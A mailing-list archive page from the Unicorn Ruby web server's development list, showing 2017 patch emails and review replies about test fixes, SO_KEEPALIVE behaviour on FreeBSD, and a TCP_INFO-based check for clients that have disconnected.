test/unit/test_socket_helper.rb | 12 ++++++++----
test/unit/test_util.rb | 4 ++--
4 files changed, 14 insertions(+), 27 deletions(-)
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index ca0b7bc..4941c4e 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -97,6 +97,9 @@ def teardown
end
def test_sd_listen_fds_emulation
+ # [ruby-core:69895] [Bug #11336] fixed by r51576
+ return if RUBY_VERSION.to_f < 2.3
+
File.open("config.ru", "wb") { |fp| fp.write(HI) }
sock = TCPServer.new(@addr, @port)
@@ -124,9 +127,7 @@ def test_sd_listen_fds_emulation
end
ensure
sock.close if sock
- # disabled test on old Rubies: https://bugs.ruby-lang.org/issues/11336
- # [ruby-core:69895] [Bug #11336] fixed by r51576
- end if RUBY_VERSION.to_f >= 2.3
+ end
def test_inherit_listener_unspecified
File.open("config.ru", "wb") { |fp| fp.write(HI) }
diff --git a/test/unit/test_http_parser.rb b/test/unit/test_http_parser.rb
index 7cbc0f8..31e6f71 100644
--- a/test/unit/test_http_parser.rb
+++ b/test/unit/test_http_parser.rb
@@ -851,24 +851,6 @@ def test_empty_header
assert_equal '', parser.env['HTTP_HOST']
end
- # so we don't care about the portability of this test
- # if it doesn't leak on Linux, it won't leak anywhere else
- # unless your C compiler or platform is otherwise broken
- LINUX_PROC_PID_STATUS = "/proc/self/status"
- def test_memory_leak
- match_rss = /^VmRSS:\s+(\d+)/
- if File.read(LINUX_PROC_PID_STATUS) =~ match_rss
- before = $1.to_i
- 1000000.times { Unicorn::HttpParser.new }
- File.read(LINUX_PROC_PID_STATUS) =~ match_rss
- after = $1.to_i
- diff = after - before
- assert(diff < 10000, "memory grew more than 10M: #{diff}")
- end
- end if RUBY_PLATFORM =~ /linux/ &&
- File.readable?(LINUX_PROC_PID_STATUS) &&
- !defined?(RUBY_ENGINE)
-
def test_memsize
require 'objspace'
if ObjectSpace.respond_to?(:memsize_of)
diff --git a/test/unit/test_socket_helper.rb b/test/unit/test_socket_helper.rb
index 7526e82..8699409 100644
--- a/test/unit/test_socket_helper.rb
+++ b/test/unit/test_socket_helper.rb
@@ -150,28 +150,31 @@ def test_sock_name
end
def test_tcp_defer_accept_default
+ return unless defined?(TCP_DEFER_ACCEPT)
port = unused_port @test_addr
name = "#@test_addr:#{port}"
sock = bind_listen(name)
cur = sock.getsockopt(Socket::SOL_TCP, TCP_DEFER_ACCEPT).unpack('i')[0]
assert cur >= 1
- end if defined?(TCP_DEFER_ACCEPT)
+ end
def test_tcp_defer_accept_disable
+ return unless defined?(TCP_DEFER_ACCEPT)
port = unused_port @test_addr
name = "#@test_addr:#{port}"
sock = bind_listen(name, :tcp_defer_accept => false)
cur = sock.getsockopt(Socket::SOL_TCP, TCP_DEFER_ACCEPT).unpack('i')[0]
assert_equal 0, cur
- end if defined?(TCP_DEFER_ACCEPT)
+ end
def test_tcp_defer_accept_nr
+ return unless defined?(TCP_DEFER_ACCEPT)
port = unused_port @test_addr
name = "#@test_addr:#{port}"
sock = bind_listen(name, :tcp_defer_accept => 60)
cur = sock.getsockopt(Socket::SOL_TCP, TCP_DEFER_ACCEPT).unpack('i')[0]
assert cur > 1
- end if defined?(TCP_DEFER_ACCEPT)
+ end
def test_ipv6only
port = begin
@@ -186,6 +189,7 @@ def test_ipv6only
end
def test_reuseport
+ return unless defined?(Socket::SO_REUSEPORT)
port = unused_port @test_addr
name = "#@test_addr:#{port}"
sock = bind_listen(name, :reuseport => true)
@@ -193,5 +197,5 @@ def test_reuseport
assert_operator cur, :>, 0
rescue Errno::ENOPROTOOPT
# kernel does not support SO_REUSEPORT (older Linux)
- end if defined?(Socket::SO_REUSEPORT)
+ end
end
diff --git a/test/unit/test_util.rb b/test/unit/test_util.rb
index 4d17a16..dc6302e 100644
--- a/test/unit/test_util.rb
+++ b/test/unit/test_util.rb
@@ -69,7 +69,7 @@ def test_reopen_logs_renamed_with_encoding
}
}
tmp.close!
- end if STDIN.respond_to?(:external_encoding)
+ end
def test_reopen_logs_renamed_with_internal_encoding
tmp = Tempfile.new('')
@@ -101,5 +101,5 @@ def test_reopen_logs_renamed_with_internal_encoding
}
}
tmp.close!
- end if STDIN.respond_to?(:external_encoding)
+ end
end
--
EW
^ permalink raw reply related [relevance 17%]
* Re: [PATCH] Add worker_exec configuration option V2
@ 2017-03-10 21:19 2% ` Eric Wong
2017-03-11 5:26 4% ` Jeremy Evans
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2017-03-10 21:19 UTC (permalink / raw)
To: Jeremy Evans; +Cc: unicorn-public
Jeremy Evans <code@jeremyevans.net> wrote:
> Here's V2 of the patch, which I think should address all of the issues
> you pointed out.
Thanks. Pushed to git://80x24.org/unicorn worker_exec I can add
tests, later, or you can. I also had some FreeBSD test fixes
(which might apply to OpenBSD) on a VM somewhere which I'll Cc:
you on: there was also just SO_KEEPALIVE fix I posted:
https://bogomips.org/unicorn-public/20170310203431.28067-1-e@80x24.org/raw
> worker_nr = -1
> until (worker_nr += 1) == @worker_processes
> @workers.value?(worker_nr) and next
> worker = Unicorn::Worker.new(worker_nr)
> before_fork.call(self, worker)
> - if pid = fork
> - @workers[pid] = worker
> - worker.atfork_parent
> +
> + pid = if @worker_exec
> + worker_spawn(worker)
> else
> - after_fork_internal
> - worker_loop(worker)
> - exit
> + fork do
> + after_fork_internal
> + worker_loop(worker)
> + exit
> + end
I prefer to avoid the block with fork. The block deepens the
stack for the running app, so it can affect GC efficiency.
Can be fixed in a separate patch...
^ permalink raw reply [relevance 2%]
* [PATCH] test_exec: SO_KEEPALIVE value only needs to be true
@ 2017-03-10 20:34 8% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-10 20:34 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
On FreeBSD 10.3, the value of SO_KEEPALIVE returned by
getsockopt is 8, even when set to '1' via setsockopt.
Relax the test to only ensure the boolean value is
interpreted as "true".
Verified independently of Ruby using the following:
--------8<---------
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
static int err(const char *msg)
{
perror(msg);
return 1;
}
int main(void)
{
int sv[2];
int set = 1;
int got;
socklen_t len = (socklen_t)sizeof(int);
int rc;
rc = socketpair(PF_LOCAL, SOCK_STREAM, 0, sv);
if (rc) return err("socketpair failed");
rc = setsockopt(sv[0], SOL_SOCKET, SO_KEEPALIVE, &set, len);
if (rc) return err("setsockopt failed");
rc = getsockopt(sv[0], SOL_SOCKET, SO_KEEPALIVE, &got, &len);
if (rc) return err("getsockopt failed");
printf("got: %d\n", got);
return 0;
}
---
test/exec/test_exec.rb | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index ca0b7bc..37ba90f 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -142,7 +142,7 @@ def test_inherit_listener_unspecified
res = hit(["http://#@addr:#@port/"])
assert_equal [ "HI\n" ], res
assert_shutdown(pid)
- assert_equal 1, sock.getsockopt(:SOL_SOCKET, :SO_KEEPALIVE).int,
+ assert sock.getsockopt(:SOL_SOCKET, :SO_KEEPALIVE).bool,
'unicorn should always set SO_KEEPALIVE on inherited sockets'
ensure
sock.close if sock
--
EW
^ permalink raw reply related [relevance 8%]
* Re: [PATCH] check_client_connection: use tcp state on linux
@ 2017-03-08 12:06 2% ` Simon Eskildsen
2017-03-13 20:16 0% ` Simon Eskildsen
0 siblings, 1 reply; 200+ results
From: Simon Eskildsen @ 2017-03-08 12:06 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
Patch-set looks great Eric, thanks!
I'm hoping to test this in production later this week or next, but
we're a year behind on Unicorn (ugh), so will need to carefully roll
that out.
On Tue, Mar 7, 2017 at 7:26 PM, Eric Wong <e@80x24.org> wrote:
> Eric Wong <e@80x24.org> wrote:
>> Simon Eskildsen <simon.eskildsen@shopify.com> wrote:
>> > @@ -28,6 +29,7 @@ class Unicorn::HttpParser
>> > # Drop these frozen strings when Ruby 2.2 becomes more prevalent,
>> > # 2.2+ optimizes hash assignments when used with literal string keys
>> > HTTP_RESPONSE_START = [ 'HTTP', '/1.1 ']
>> > + EMPTY_ARRAY = [].freeze
>>
>> (minor) this was made before commit e06b699683738f22
>> ("http_request: freeze constant strings passed IO#write")
>> but I've trivially fixed it up, locally.
>
> And I actually screwed it up, pushed out ccc-tcp-v2 branch
> with that fix squashed in :x
>
> Writing tests, now...
^ permalink raw reply [relevance 2%]
* Re: [PATCH 0/3] TCP_INFO check_client_connection followups
2017-03-08 6:02 4% [PATCH 0/3] TCP_INFO check_client_connection followups Eric Wong
2017-03-08 6:02 18% ` [PATCH 1/3] new test for check_client_connection Eric Wong
2017-03-08 6:02 4% ` [PATCH 2/3] revert signature change to HttpServer#process_client Eric Wong
@ 2017-03-08 10:14 0% ` Simon Eskildsen
2 siblings, 0 replies; 200+ results
From: Simon Eskildsen @ 2017-03-08 10:14 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
This looks great Eric. Thanks for taking this to the finish line!
On Wed, Mar 8, 2017 at 1:02 AM, Eric Wong <e@80x24.org> wrote:
> This series goes on top of Simon's excellent work to get
> a TCP_INFO-based check_client_connection working under Linux.
>
> First off, add a test extracted from one of Simon's messages;
> then revert the signature changes to existing methods to
> avoid breaking tmm1/gctools, and finally add a more portable
> fallback for Ruby 2.2+ users (tested on FreeBSD).
>
> Further work will improve portability of raindrops for FreeBSD
> (and maybe other *BSDs incidentally, too). That will be sent to
> raindrops-public@bogomips => https://bogomips.org/raindrops-public/
>
> Eric Wong (3):
> new test for check_client_connection
> revert signature change to HttpServer#process_client
> support "struct tcp_info" on non-Linux and Ruby 2.2+
>
> lib/unicorn/http_request.rb | 42 +++++++++++++++++++----
> lib/unicorn/http_server.rb | 6 ++--
> lib/unicorn/oob_gc.rb | 4 +--
> lib/unicorn/socket_helper.rb | 16 +++++++--
> test/unit/test_ccc.rb | 81 ++++++++++++++++++++++++++++++++++++++++++++
> test/unit/test_request.rb | 28 +++++++--------
> 6 files changed, 150 insertions(+), 27 deletions(-)
> create mode 100644 test/unit/test_ccc.rb
>
> Also pushed to the ccc-tcp-v3 branch:
>
> The following changes since commit 73e1ce827faad59bfcaff0bc758c8255a5e4f747:
>
> t0011-active-unix-socket.sh: fix race condition in test (2017-03-01 00:24:04 +0000)
>
> are available in the git repository at:
>
> git://bogomips.org/unicorn ccc-tcp-v3
>
> for you to fetch changes up to 873218e317773462be2a72556d26dc4a723cc7be:
>
> support "struct tcp_info" on non-Linux and Ruby 2.2+ (2017-03-08 05:39:55 +0000)
>
> ----------------------------------------------------------------
> Eric Wong (3):
> new test for check_client_connection
> revert signature change to HttpServer#process_client
> support "struct tcp_info" on non-Linux and Ruby 2.2+
>
> Simon Eskildsen (1):
> check_client_connection: use tcp state on linux
>
> lib/unicorn/http_request.rb | 73 ++++++++++++++++++++++++++++++++++++---
> lib/unicorn/socket_helper.rb | 16 +++++++--
> test/unit/test_ccc.rb | 81 ++++++++++++++++++++++++++++++++++++++++++++
> 3 files changed, 163 insertions(+), 7 deletions(-)
> create mode 100644 test/unit/test_ccc.rb
>
> --
> EW
^ permalink raw reply [relevance 0%]
* [PATCH 1/3] new test for check_client_connection
2017-03-08 6:02 4% [PATCH 0/3] TCP_INFO check_client_connection followups Eric Wong
@ 2017-03-08 6:02 18% ` Eric Wong
2017-03-08 6:02 4% ` [PATCH 2/3] revert signature change to HttpServer#process_client Eric Wong
2017-03-08 10:14 0% ` [PATCH 0/3] TCP_INFO check_client_connection followups Simon Eskildsen
2 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-08 6:02 UTC (permalink / raw)
To: unicorn-public; +Cc: Simon Eskildsen
This was a bit tricky to test, but it's probably more reliable
now that we're relying on TCP_INFO.
Based on test by Simon Eskildsen <simon.eskildsen@shopify.com>:
https://bogomips.org/unicorn-public/CAO3HKM49+aLD=KLij3zhJqkWnR7bCWVan0mOvxD85xfrW8RXOw@mail.gmail.com/
---
test/unit/test_ccc.rb | 81 +++++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 81 insertions(+)
create mode 100644 test/unit/test_ccc.rb
diff --git a/test/unit/test_ccc.rb b/test/unit/test_ccc.rb
new file mode 100644
index 0000000..22b1a9c
--- /dev/null
+++ b/test/unit/test_ccc.rb
@@ -0,0 +1,81 @@
+require 'socket'
+require 'unicorn'
+require 'io/wait'
+require 'tempfile'
+require 'test/unit'
+
+class TestCccTCPI < Test::Unit::TestCase
+ def test_ccc_tcpi
+ start_pid = $$
+ host = '127.0.0.1'
+ srv = TCPServer.new(host, 0)
+ port = srv.addr[1]
+ err = Tempfile.new('unicorn_ccc')
+ rd, wr = IO.pipe
+ pid = fork do
+ reqs = 0
+ rd.close
+ worker_pid = nil
+ app = lambda do |env|
+ worker_pid ||= begin
+ at_exit { wr.write(reqs.to_s) if worker_pid == $$ }
+ $$
+ end
+ reqs += 1
+ sleep(1) if env['PATH_INFO'] == '/sleep'
+ [ 200, [ %w(Content-Length 0), %w(Content-Type text/plain) ], [] ]
+ end
+ ENV['UNICORN_FD'] = srv.fileno.to_s
+ opts = {
+ listeners: [ "#{host}:#{port}" ],
+ stderr_path: err.path,
+ check_client_connection: true,
+ }
+ uni = Unicorn::HttpServer.new(app, opts)
+ uni.start.join
+ end
+ wr.close
+
+ # make sure the server is running, at least
+ client = TCPSocket.new(host, port)
+ client.write("GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
+ assert client.wait_readable(10), 'never got response from server'
+ res = client.read
+ assert_match %r{\AHTTP/1\.1 200}, res, 'got part of first response'
+ assert_match %r{\r\n\r\n\z}, res, 'got end of response, server is ready'
+ client.close
+
+ # start a slow request...
+ sleeper = TCPSocket.new(host, port)
+ sleeper.write("GET /sleep HTTP/1.1\r\nHost: example.com\r\n\r\n")
+
+ # and a bunch of aborted ones
+ nr = 100
+ nr.times do |i|
+ client = TCPSocket.new(host, port)
+ client.write("GET /collections/#{rand(10000)} HTTP/1.1\r\n" \
+ "Host: example.com\r\n\r\n")
+ client.close
+ end
+ sleeper.close
+ kpid = pid
+ pid = nil
+ Process.kill(:QUIT, kpid)
+ _, status = Process.waitpid2(kpid)
+ assert status.success?
+ reqs = rd.read.to_i
+ warn "server got #{reqs} requests with #{nr} CCC aborted\n" if $DEBUG
+ assert_operator reqs, :<, nr
+ assert_operator reqs, :>=, 2, 'first 2 requests got through, at least'
+ ensure
+ return if start_pid != $$
+ srv.close if srv
+ if pid
+ Process.kill(:QUIT, pid)
+ _, status = Process.waitpid2(pid)
+ assert status.success?
+ end
+ err.close! if err
+ rd.close if rd
+ end
+end
--
EW
^ permalink raw reply related [relevance 18%]
* [PATCH 2/3] revert signature change to HttpServer#process_client
2017-03-08 6:02 4% [PATCH 0/3] TCP_INFO check_client_connection followups Eric Wong
2017-03-08 6:02 18% ` [PATCH 1/3] new test for check_client_connection Eric Wong
@ 2017-03-08 6:02 4% ` Eric Wong
2017-03-08 10:14 0% ` [PATCH 0/3] TCP_INFO check_client_connection followups Simon Eskildsen
2 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-08 6:02 UTC (permalink / raw)
To: unicorn-public; +Cc: Simon Eskildsen, Aman Gupta
We can force kgio_tryaccept to return an internal class
for TCP objects by subclassing Kgio::TCPServer.
This avoids breakage in any unfortunate projects which depend on
our undocumented internal APIs, such as gctools
<https://github.com/tmm1/gctools>
Cc: Aman Gupta <aman@tmm1.net>
---
lib/unicorn/http_request.rb | 10 +++++-----
lib/unicorn/http_server.rb | 6 +++---
lib/unicorn/oob_gc.rb | 4 ++--
lib/unicorn/socket_helper.rb | 16 ++++++++++++++--
test/unit/test_request.rb | 28 ++++++++++++++--------------
5 files changed, 38 insertions(+), 26 deletions(-)
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index 9acde50..68bde16 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -61,7 +61,7 @@ def self.check_client_connection=(bool)
# returns an environment hash suitable for Rack if successful
# This does minimal exception trapping and it is up to the caller
# to handle any socket errors (e.g. user aborted upload).
- def read(socket, listener)
+ def read(socket)
clear
e = env
@@ -82,7 +82,7 @@ def read(socket, listener)
false until add_parse(socket.kgio_read!(16384))
end
- check_client_connection(socket, listener) if @@check_client_connection
+ check_client_connection(socket) if @@check_client_connection
e['rack.input'] = 0 == content_length ?
NULL_IO : @@input_class.new(socket, self)
@@ -105,8 +105,8 @@ def hijacked?
end
if defined?(Raindrops::TCP_Info)
- def check_client_connection(socket, listener) # :nodoc:
- if Kgio::TCPServer === listener
+ def check_client_connection(socket) # :nodoc:
+ if Unicorn::TCPClient === socket
@@tcp_info ||= Raindrops::TCP_Info.new(socket)
@@tcp_info.get!(socket)
raise Errno::EPIPE, "client closed connection".freeze,
@@ -127,7 +127,7 @@ def closed_state?(state) # :nodoc:
end
end
else
- def check_client_connection(socket, listener) # :nodoc:
+ def check_client_connection(socket) # :nodoc:
write_http_header(socket)
end
end
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 2aa1072..c2086cb 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -558,8 +558,8 @@ def e100_response_write(client, env)
# once a client is accepted, it is processed in its entirety here
# in 3 easy steps: read request, call app, write app response
- def process_client(client, listener)
- status, headers, body = @app.call(env = @request.read(client, listener))
+ def process_client(client)
+ status, headers, body = @app.call(env = @request.read(client))
begin
return if @request.hijacked?
@@ -655,7 +655,7 @@ def worker_loop(worker)
# Unicorn::Worker#kgio_tryaccept is not like accept(2) at all,
# but that will return false
if client = sock.kgio_tryaccept
- process_client(client, sock)
+ process_client(client)
nr += 1
worker.tick = time_now.to_i
end
diff --git a/lib/unicorn/oob_gc.rb b/lib/unicorn/oob_gc.rb
index 74a1d51..5572e59 100644
--- a/lib/unicorn/oob_gc.rb
+++ b/lib/unicorn/oob_gc.rb
@@ -67,8 +67,8 @@ def self.new(app, interval = 5, path = %r{\A/})
#:stopdoc:
PATH_INFO = "PATH_INFO"
- def process_client(client, listener)
- super(client, listener) # Unicorn::HttpServer#process_client
+ def process_client(client)
+ super(client) # Unicorn::HttpServer#process_client
if OOBGC_PATH =~ OOBGC_ENV[PATH_INFO] && ((@@nr -= 1) <= 0)
@@nr = OOBGC_INTERVAL
OOBGC_ENV.clear
diff --git a/lib/unicorn/socket_helper.rb b/lib/unicorn/socket_helper.rb
index df8315e..5371413 100644
--- a/lib/unicorn/socket_helper.rb
+++ b/lib/unicorn/socket_helper.rb
@@ -3,6 +3,18 @@
require 'socket'
module Unicorn
+
+ # Instead of using a generic Kgio::Socket for everything,
+ # tag TCP sockets so we can use TCP_INFO under Linux without
+ # incurring extra syscalls for Unix domain sockets.
+ # TODO: remove these when we remove kgio
+ TCPClient = Class.new(Kgio::Socket) # :nodoc:
+ class TCPSrv < Kgio::TCPServer # :nodoc:
+ def kgio_tryaccept # :nodoc:
+ super(TCPClient)
+ end
+ end
+
module SocketHelper
# internal interface
@@ -148,7 +160,7 @@ def new_tcp_server(addr, port, opt)
end
sock.bind(Socket.pack_sockaddr_in(port, addr))
sock.autoclose = false
- Kgio::TCPServer.for_fd(sock.fileno)
+ TCPSrv.for_fd(sock.fileno)
end
# returns rfc2732-style (e.g. "[::1]:666") addresses for IPv6
@@ -185,7 +197,7 @@ def sock_name(sock)
def server_cast(sock)
begin
Socket.unpack_sockaddr_in(sock.getsockname)
- Kgio::TCPServer.for_fd(sock.fileno)
+ TCPSrv.for_fd(sock.fileno)
rescue ArgumentError
Kgio::UNIXServer.for_fd(sock.fileno)
end
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index dbe8af7..f0ccaf7 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -30,7 +30,7 @@ def setup
def test_options
client = MockRequest.new("OPTIONS * HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client, nil)
+ env = @request.read(client)
assert_equal '', env['REQUEST_PATH']
assert_equal '', env['PATH_INFO']
assert_equal '*', env['REQUEST_URI']
@@ -40,7 +40,7 @@ def test_options
def test_absolute_uri_with_query
client = MockRequest.new("GET http://e:3/x?y=z HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client, nil)
+ env = @request.read(client)
assert_equal '/x', env['REQUEST_PATH']
assert_equal '/x', env['PATH_INFO']
assert_equal 'y=z', env['QUERY_STRING']
@@ -50,7 +50,7 @@ def test_absolute_uri_with_query
def test_absolute_uri_with_fragment
client = MockRequest.new("GET http://e:3/x#frag HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client, nil)
+ env = @request.read(client)
assert_equal '/x', env['REQUEST_PATH']
assert_equal '/x', env['PATH_INFO']
assert_equal '', env['QUERY_STRING']
@@ -61,7 +61,7 @@ def test_absolute_uri_with_fragment
def test_absolute_uri_with_query_and_fragment
client = MockRequest.new("GET http://e:3/x?a=b#frag HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client, nil)
+ env = @request.read(client)
assert_equal '/x', env['REQUEST_PATH']
assert_equal '/x', env['PATH_INFO']
assert_equal 'a=b', env['QUERY_STRING']
@@ -73,7 +73,7 @@ def test_absolute_uri_unsupported_schemes
%w(ssh+http://e/ ftp://e/x http+ssh://e/x).each do |abs_uri|
client = MockRequest.new("GET #{abs_uri} HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- assert_raises(HttpParserError) { @request.read(client, nil) }
+ assert_raises(HttpParserError) { @request.read(client) }
end
end
@@ -81,7 +81,7 @@ def test_x_forwarded_proto_https
client = MockRequest.new("GET / HTTP/1.1\r\n" \
"X-Forwarded-Proto: https\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client, nil)
+ env = @request.read(client)
assert_equal "https", env['rack.url_scheme']
res = @lint.call(env)
end
@@ -90,7 +90,7 @@ def test_x_forwarded_proto_http
client = MockRequest.new("GET / HTTP/1.1\r\n" \
"X-Forwarded-Proto: http\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client, nil)
+ env = @request.read(client)
assert_equal "http", env['rack.url_scheme']
res = @lint.call(env)
end
@@ -99,14 +99,14 @@ def test_x_forwarded_proto_invalid
client = MockRequest.new("GET / HTTP/1.1\r\n" \
"X-Forwarded-Proto: ftp\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client, nil)
+ env = @request.read(client)
assert_equal "http", env['rack.url_scheme']
res = @lint.call(env)
end
def test_rack_lint_get
client = MockRequest.new("GET / HTTP/1.1\r\nHost: foo\r\n\r\n")
- env = @request.read(client, nil)
+ env = @request.read(client)
assert_equal "http", env['rack.url_scheme']
assert_equal '127.0.0.1', env['REMOTE_ADDR']
res = @lint.call(env)
@@ -114,7 +114,7 @@ def test_rack_lint_get
def test_no_content_stringio
client = MockRequest.new("GET / HTTP/1.1\r\nHost: foo\r\n\r\n")
- env = @request.read(client, nil)
+ env = @request.read(client)
assert_equal StringIO, env['rack.input'].class
end
@@ -122,7 +122,7 @@ def test_zero_content_stringio
client = MockRequest.new("PUT / HTTP/1.1\r\n" \
"Content-Length: 0\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client, nil)
+ env = @request.read(client)
assert_equal StringIO, env['rack.input'].class
end
@@ -130,7 +130,7 @@ def test_real_content_not_stringio
client = MockRequest.new("PUT / HTTP/1.1\r\n" \
"Content-Length: 1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client, nil)
+ env = @request.read(client)
assert_equal Unicorn::TeeInput, env['rack.input'].class
end
@@ -141,7 +141,7 @@ def test_rack_lint_put
"Content-Length: 5\r\n" \
"\r\n" \
"abcde")
- env = @request.read(client, nil)
+ env = @request.read(client)
assert ! env.include?(:http_body)
res = @lint.call(env)
end
@@ -167,7 +167,7 @@ def client.kgio_read!(*args)
"\r\n")
count.times { assert_equal bs, client.syswrite(buf) }
assert_equal 0, client.sysseek(0)
- env = @request.read(client, nil)
+ env = @request.read(client)
assert ! env.include?(:http_body)
assert_equal length, env['rack.input'].size
count.times {
--
EW
^ permalink raw reply related [relevance 4%]
* [PATCH 0/3] TCP_INFO check_client_connection followups
@ 2017-03-08 6:02 4% Eric Wong
2017-03-08 6:02 18% ` [PATCH 1/3] new test for check_client_connection Eric Wong
` (2 more replies)
0 siblings, 3 replies; 200+ results
From: Eric Wong @ 2017-03-08 6:02 UTC (permalink / raw)
To: unicorn-public; +Cc: Simon Eskildsen
This series goes on top of Simon's excellent work to get
a TCP_INFO-based check_client_connection working under Linux.
First off, add a test extracted from one of Simon's messages;
then revert the signature changes to existing methods to
avoid breaking tmm1/gctools, and finally add a more portable
fallback for Ruby 2.2+ users (tested on FreeBSD).
Further work will improve portability of raindrops for FreeBSD
(and maybe other *BSDs incidentally, too). That will be sent to
raindrops-public@bogomips => https://bogomips.org/raindrops-public/
Eric Wong (3):
new test for check_client_connection
revert signature change to HttpServer#process_client
support "struct tcp_info" on non-Linux and Ruby 2.2+
lib/unicorn/http_request.rb | 42 +++++++++++++++++++----
lib/unicorn/http_server.rb | 6 ++--
lib/unicorn/oob_gc.rb | 4 +--
lib/unicorn/socket_helper.rb | 16 +++++++--
test/unit/test_ccc.rb | 81 ++++++++++++++++++++++++++++++++++++++++++++
test/unit/test_request.rb | 28 +++++++--------
6 files changed, 150 insertions(+), 27 deletions(-)
create mode 100644 test/unit/test_ccc.rb
Also pushed to the ccc-tcp-v3 branch:
The following changes since commit 73e1ce827faad59bfcaff0bc758c8255a5e4f747:
t0011-active-unix-socket.sh: fix race condition in test (2017-03-01 00:24:04 +0000)
are available in the git repository at:
git://bogomips.org/unicorn ccc-tcp-v3
for you to fetch changes up to 873218e317773462be2a72556d26dc4a723cc7be:
support "struct tcp_info" on non-Linux and Ruby 2.2+ (2017-03-08 05:39:55 +0000)
----------------------------------------------------------------
Eric Wong (3):
new test for check_client_connection
revert signature change to HttpServer#process_client
support "struct tcp_info" on non-Linux and Ruby 2.2+
Simon Eskildsen (1):
check_client_connection: use tcp state on linux
lib/unicorn/http_request.rb | 73 ++++++++++++++++++++++++++++++++++++---
lib/unicorn/socket_helper.rb | 16 +++++++--
test/unit/test_ccc.rb | 81 ++++++++++++++++++++++++++++++++++++++++++++
3 files changed, 163 insertions(+), 7 deletions(-)
create mode 100644 test/unit/test_ccc.rb
--
EW
^ permalink raw reply [relevance 4%]
* Re: [PATCH] check_client_connection: use tcp state on linux
@ 2017-03-06 21:32 4% ` Simon Eskildsen
0 siblings, 1 reply; 200+ results
From: Simon Eskildsen @ 2017-03-06 21:32 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
Here's another update Eric!
* Use a frozen empty array and a class variable for TCP_Info to avoid
garbage. As far as I can tell, this shouldn't result in any garbage on
any requests (other than on the first request).
* Pass listener socket to #read to only check the client connection on
a TCP server.
* Short circuit CLOSE_WAIT after ESTABLISHED since in my testing it's
the most common state after ESTABLISHED, it makes the numbers
un-ordered, though. But comment should make it OK.
* Definition of of `check_client_connection` based on whether
Raindrops::TCP_Info is defined, instead of the class variable
approach.
* Changed the unit tests to pass a `nil` listener.
Tested on our staging environment, and still works like a dream.
I should note that I got the idea between this patch into Puma as well!
https://github.com/puma/puma/pull/1227
---
lib/unicorn/http_request.rb | 44 ++++++++++++++++++++++++++++++++++++++------
lib/unicorn/http_server.rb | 6 +++---
test/unit/test_request.rb | 28 ++++++++++++++--------------
3 files changed, 55 insertions(+), 23 deletions(-)
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index 0c1f9bb..21a99ef 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -2,6 +2,7 @@
# :enddoc:
# no stable API here
require 'unicorn_http'
+require 'raindrops'
# TODO: remove redundant names
Unicorn.const_set(:HttpRequest, Unicorn::HttpParser)
@@ -28,6 +29,7 @@ class Unicorn::HttpParser
# Drop these frozen strings when Ruby 2.2 becomes more prevalent,
# 2.2+ optimizes hash assignments when used with literal string keys
HTTP_RESPONSE_START = [ 'HTTP', '/1.1 ']
+ EMPTY_ARRAY = [].freeze
@@input_class = Unicorn::TeeInput
@@check_client_connection = false
@@ -62,7 +64,7 @@ def self.check_client_connection=(bool)
# returns an environment hash suitable for Rack if successful
# This does minimal exception trapping and it is up to the caller
# to handle any socket errors (e.g. user aborted upload).
- def read(socket)
+ def read(socket, listener)
clear
e = env
@@ -83,11 +85,7 @@ def read(socket)
false until add_parse(socket.kgio_read!(16384))
end
- # detect if the socket is valid by writing a partial response:
- if @@check_client_connection && headers?
- self.response_start_sent = true
- HTTP_RESPONSE_START.each { |c| socket.write(c) }
- end
+ check_client_connection(socket, listener) if @@check_client_connection
e['rack.input'] = 0 == content_length ?
NULL_IO : @@input_class.new(socket, self)
@@ -108,4 +106,38 @@ def call
def hijacked?
env.include?('rack.hijack_io'.freeze)
end
+
+ if defined?(Raindrops::TCP_Info)
+ def check_client_connection(socket, listener) # :nodoc:
+ if Kgio::TCPServer === listener
+ @@tcp_info ||= Raindrops::TCP_Info.new(socket)
+ @@tcp_info.get!(socket)
+ raise Errno::EPIPE, "client closed connection".freeze,
EMPTY_ARRAY if closed_state?(@@tcp_info.state)
+ else
+ write_http_header(socket)
+ end
+ end
+
+ def closed_state?(state) # :nodoc:
+ case state
+ when 1 # ESTABLISHED
+ false
+ when 8, 6, 7, 9, 11 # CLOSE_WAIT, TIME_WAIT, CLOSE, LAST_ACK, CLOSING
+ true
+ else
+ false
+ end
+ end
+ else
+ def check_client_connection(socket, listener) # :nodoc:
+ write_http_header(socket)
